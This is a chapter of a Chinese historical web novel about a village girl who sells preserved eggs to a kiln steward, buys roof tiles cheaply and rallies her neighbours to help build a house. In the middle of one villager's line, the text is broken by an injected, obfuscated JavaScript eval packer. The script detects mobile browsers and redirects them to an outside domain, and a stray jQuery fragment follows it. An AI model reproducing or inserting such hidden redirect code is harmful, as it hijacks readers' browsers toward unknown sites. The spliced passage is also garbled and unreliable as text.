想到这，王典计把手一划拉，“女娘家每日每日做的，我全要了。 不过，我既全要了，女娘可不能另做了再卖给旁人，尤其是那些小子， 这皮蛋色如墨玉，内有晶雪，味含松香，那起寻常小子怎有福受的起。” 王典计须得多多买些来，献给夫人，自家自是消不得这么多，但各乡富户之间送礼应酬，正是要这罕见之物， 他此时费些钱买了，夫人这礼送的有面，还不多多的赏钱给他？ 因而补道：“这只卖我这一点，咱们间立个文契。” “不成。”季胥道。 把王典计听的怔住。 37. 第 37 章 如此虽是笔长远生意，但王典计显见的要借此物的独有性来做文章，倘若日后传出皮蛋乃世间绝无仅有，于她一个乡野女子，独怀此方，绝非益事。 或是价高虚涨，但她签了文契，最终受益的是甘家； 或是惹贼人妒忌，来夺此方，甘家或许会保她，但她也不能将自己的安危全系于他人，反而授人以柄。 她想了想，遂笑道：“我也不好诓骗王典计，此乃我在长安偶然学来的制法，这皮蛋在我们附近乡里虽是个新鲜吃食， 但出了灵水县，往北边的郡县，往徐州、兖州走一走，尤其是长安，便市肆里寻常能见之物了。” 王典计这大半辈子尚未出过县，如此一来，信真了，遂歇了买断的心思，略显失望道： “那我买你三个月的量。” 虽是长安乃至外地有的，短期内他们这还是新鲜物，王典计欲趁这段时间，好好借此在夫人跟前显弄一番。 季胥道：“至多半个月，我的皮蛋独卖于典计。” 时间太长，情况未可知，半个月则是可控的，这东西没法传的太热太远；二则，她缺钱盖房！ 算上今日卖完的钱，家里估摸能有两千钱了，若是日后再有半个月，每日稳当的卖五十枚皮蛋的钱，便有四千二百五十钱，足以出的起瓦钱了。 王典计面有不快，只听季胥仍道： “我还有一请求，我家中住的尚是草舍，这眼看天气凉了，十分迫切盖上一瓦房，正欲在这窑场买上一千片的瓦，奈何手里头银钱不足，还望典计先将皮蛋的钱先齐全了我，我也好买了瓦回去盖房。” “我若是不应咧？”王典计道。 季胥捧着手，笑眯眯的，“典计会答应的，这点子钱，于您还不是一弹指的事， 甘家那边今日给您的赏，怕都不止这点，这半月的限，还愁没有大把的进项？” 王典计跳起来二尺高，指她道：“好个季蒸饼！竟比我这算账的典计还会算计人。” “典计谦逊了。”季胥道。 王典计暗自思忖：此女聪颖，明知我借吃食求主家的好，却也帮我两次，日后少不的再需她的厨艺，倘或开罪她，她不再依来相帮，甘家那头岂不嫌我没本事？ 再偏倚了管山田林子的牛典计，那厮仗着自己年轻，不怕忙累，卖命的揽活，更兼得有几分皮相，已是颇得夫人看重。何不趁势卖她这个好？ 他遂道：“罢，看你言情也还恳切，我便应了你。” 又道：“买瓦给你九成价罢了！” 他身为窑场典计，这点小惠还是能做主的。 九成价，一千片瓦四千钱，这可意味着能省四百钱，这省下的钱用处极大，她想着，还得请木匠打门窗，买些白垩并石灰抹墙防潮，扯上两丈麻布来糊窗子。 她先前还向吕媪这岁数大的打听了盖房的忌讳俗信，吕媪因道： “建成那日，你寻屠夫买只羊头回来，羊者，祥也，门上挂羊头，是咱这的风俗， 若是钱还凑手，最好再扯一尺红布回来，上梁那日用的上。” 谁不想这新房祥瑞进门。 原只奔着买瓦来攒钱，真到盖房，算起来哪项都是开销。 不过瓦钱到底是大头，这项上省出一大笔来，这对捉襟见肘的季胥来说，是天大的好事，能掂掇着匀去旁的开支上，自是心喜的告了谢。 王典计领她去窑场前院，看那烧好的陶瓦，成摞的堆在那，有板瓦、筒瓦，这二者上下覆合在屋顶，便能让雨水顺着瓦沟流下来。 此外还有瓦当，瓦当的样式和前两者又不一样，它是半筒状，前头有一圆陶面，面上刻了各式的浮雕，有古老拙朴的葵纹、昂首翘尾的虎纹、灵动飘逸的鹿纹、还有蟾蜍的、饕餮的…… “十里八乡问问，也就我甘家窑场有这些样式，哪里要用瓦不来我们甘家呢？”王典计道。 有句话说“出头的椽子先烂”，这瓦当便是用来保护房檐上的椽头的，像冯家用的瓦当，便篆有“马甲天下”的瓦文，高墙大院，打眼过去很势派。 王典计道：“你要一千块的，想必是盖那一堂两内的样式，这样，板瓦与筒瓦照一千的数给你，瓦当你另挑四十个去，怎么也够你了，我也不额外收你的钱。” 今儿得了两回赏，又在夫人跟前显了脸，王典计心情妙哉，大手一挥道，权当卖她个人情了。 季胥这瓦数本没算到瓦当的，瓦当这样美观兼保护椽木的瓦件，价钱是板瓦和筒瓦的三倍到十倍不等，多用在公家的官署、富户的苑囿私宅、更甚是殿宇陵墓，普通人家多半不会这样周全的费钱买来，季胥亦是没买这的打算。 现下能得四十个瓦当，全然是意外之喜，她挑了一番，选了瓦文是“富贵吉昌”字样的，边缘还有一圈水涡纹，瞧着古朴自然，意头也好。 本固里， 各家菜地里，稀稀拉拉的可见农妇浇水淋肥的身影，忽听远道上，有牛车吱吱哟哟的响动。 一时抬了头望去，只见那两辆牛车一前一后，车上成堆码着的，竟是陶瓦！ “这拉的是谁家的瓦哪？” “你们瞧，那牛车旁领路的，是不是那季家的胥女？” 季胥挎着两只空篮，抬着另只手，正给将车的僦人领路。 这两辆牛车俱是窑场的，专门拉瓦至买主家中。 “是了，是她！估摸得有千数片，怕要好几千钱吧？” 这季胥买的可够多，像那买个几十片补屋顶的，是不会派牛车来送的。 道旁畎田里的乡人都瞧了个仔细。 “快去看，你阿姊买瓦回来了！” 王利跑的喘吁吁，扶着门，向正在灶屋烧水的季凤报信道。 “在哪呢，在哪呢？算日子没这么快呀。” 季凤拉上季珠，就跟着王利跑出去。 她原是烧水预备洗头的，一听信，水都烧热了，头也不顾的洗了，一颗心都要飞出来了。 “还在前头呢！还没过那蜂子坡。” 王利指着道，他们还遇上跑来的陈狗儿兄妹，二人俱是说瞧见了。 “才刚我和兄在山坡上顽，远远的就瞧见了，是两辆牛车。” “对，后头拉着好多瓦！” 一齐人都沿路跑着去瞧，又有本固里好些孩童，见他们风风火火，也跟过来凑热闹。 一大伙孩子，在蜂子坡和季胥这行牛车迎上了。 季凤喜的嘴角快咧到眉毛了，挨在季胥旁边，不停的问东问西： “阿姊，这真是咱家的瓦哪？ 不是还没这么快吗？这里得有多少？” 季胥都一一答了她，左右牵着两个妹妹，往家去。 王利、陈狗儿、陈穗儿那伙孩童，便新鲜的簇拥在牛车周围，用手去摸索那车架子，一路热闹吆喝着， “瓦儿来，瓦儿来，瓦儿道上来——” “瓦儿上梁来，瓦儿上梁来，堂屋大门开——” 嘹昂的童声，引的井边捣衣的妇人们抬起了头，向旁边的金氏笑道： “你家二房的胥女买瓦咧！” 牛车直喇喇停在草屋门口，两个将车僦人忙着卸瓦。 吸引不少过路的同里乡民，荷锄挑担的，指点着手，说长道短， “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424008|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦烧的好，光滑油韧，一看就是甘家窑场的。” “他家牛喂的可真肥。听说牛都吃豆子呢。” “连瓦当都齐全了！胥女，那上头啥字哪？” “卖蒸饼可真挣钱，才多久就买上瓦了？咱们本固里住的起瓦房的，算算都没十户。” “让一让，往边儿去！” 一人自人丛中挤撞着过，骂骂咧咧， “没活儿干了，都杵这等布施哪？” 众人一看，原是金氏，她抱着盆，盆里是刚洗完的衣裳，一进隔壁院，便将门摔的雷响，不一会儿便传出她骂孩子的声音。 原是季虎孩也想蹿出去瞧卸瓦的热闹，被金氏逮住，骂起来， “瞧瞧你这衣裳才换就脏的……成天就知道往外野……” “谁又招她金大妇了？” “心里头酸出来的邪火罢咯。” 他们都不去理会，有的摩着手，张了嗓向季胥问道： “胥女，这你家买了瓦，可挑了日子盖房了？” 盖房可是项大工程，且不说伐木锯梁，上山担土，单就是后头的垛泥打夯、起土墙、上梁檩、盖瓦，绝非一户人家短时间能完成的。 本固里向来是一家盖房，全里的人户出劳力来相帮，两日竣工，这本就是各家互帮的事，也无需东家费什么佣钱，只是给这些帮忙的人，做上一餐还扎实的晡食。 他们有的自家清苦，时下农活清闲，便想帮忙来吃顿有油荤的饭菜； 有的见季胥生意挣钱，也想来卖好做情的，赶明儿也成为下一个陈家； 也有的，因着从前田氏夫妇曾帮过他们盖房，如今自想着要帮回来还这份情的。 问的便有不少。 “是咧，何时动工啊？” “我们也好腾出工夫相帮哪。” “你的手艺，大家伙儿可都巴巴等着尝呢！” 说的人哄笑起来。 季胥这头，正在屋檐下和陈家人商量这事呢。 话说吕媪并陈老伯听了信便也来了，陈老伯年轻被征去服了好些年修建城邑的劳役，学到一些，算是盖房的老把式，乡里不少人家盖房，都会请他去选地看址、挑日子破土动工， 讲究的富户还得请巫觋来，用五音和岁时来定房屋的朝向，趋吉避凶。 季胥家自然没条件这样搬弄，一起头有了攒钱盖房的念头，便是托的陈老伯，届时请他来相看，陈老伯二话不说应下了。 如今拇指掐了掐，想了片刻，便道： “春三月庚辛，夏三月壬癸，秋三月甲乙，冬三月丙丁，依我看，明日十月十二，便是动工的好日子，并不犯这些忌讳， 况且日阳儿也晴，垛泥打夯这些活儿做起来也才便宜， 也不用挪地方，你这处垄上的地势就很好，后有山坡，前有田亩，北高南低，利贾市，正好合了你做买卖。” “这盖房的事我是抓瞎了，全听陈大父的。”季胥道。 吕媪也道：“越早动工越好，住进去才暖和，你现在这窗子漏风，怕是夜里睡着都生凉。” 这时正听的看热闹的乡人逗趣儿后的哄笑，季胥也笑了笑，便打开嗓门儿道： “才刚陈大父帮我定了日子，明日动工，有乡亲父老看的上我这粗陋的手艺，愿来相帮，也是我们三姊妹的一大幸事，一定尽心招待。” “算我一个！” “还有我！我明日也闲着。” “还有我小豆子。” 说话的是个三岁的奶娃娃，他阿母抱起他，“尿床的小鬼头，是能伐木还是能背土啊？” 众人又一大笑。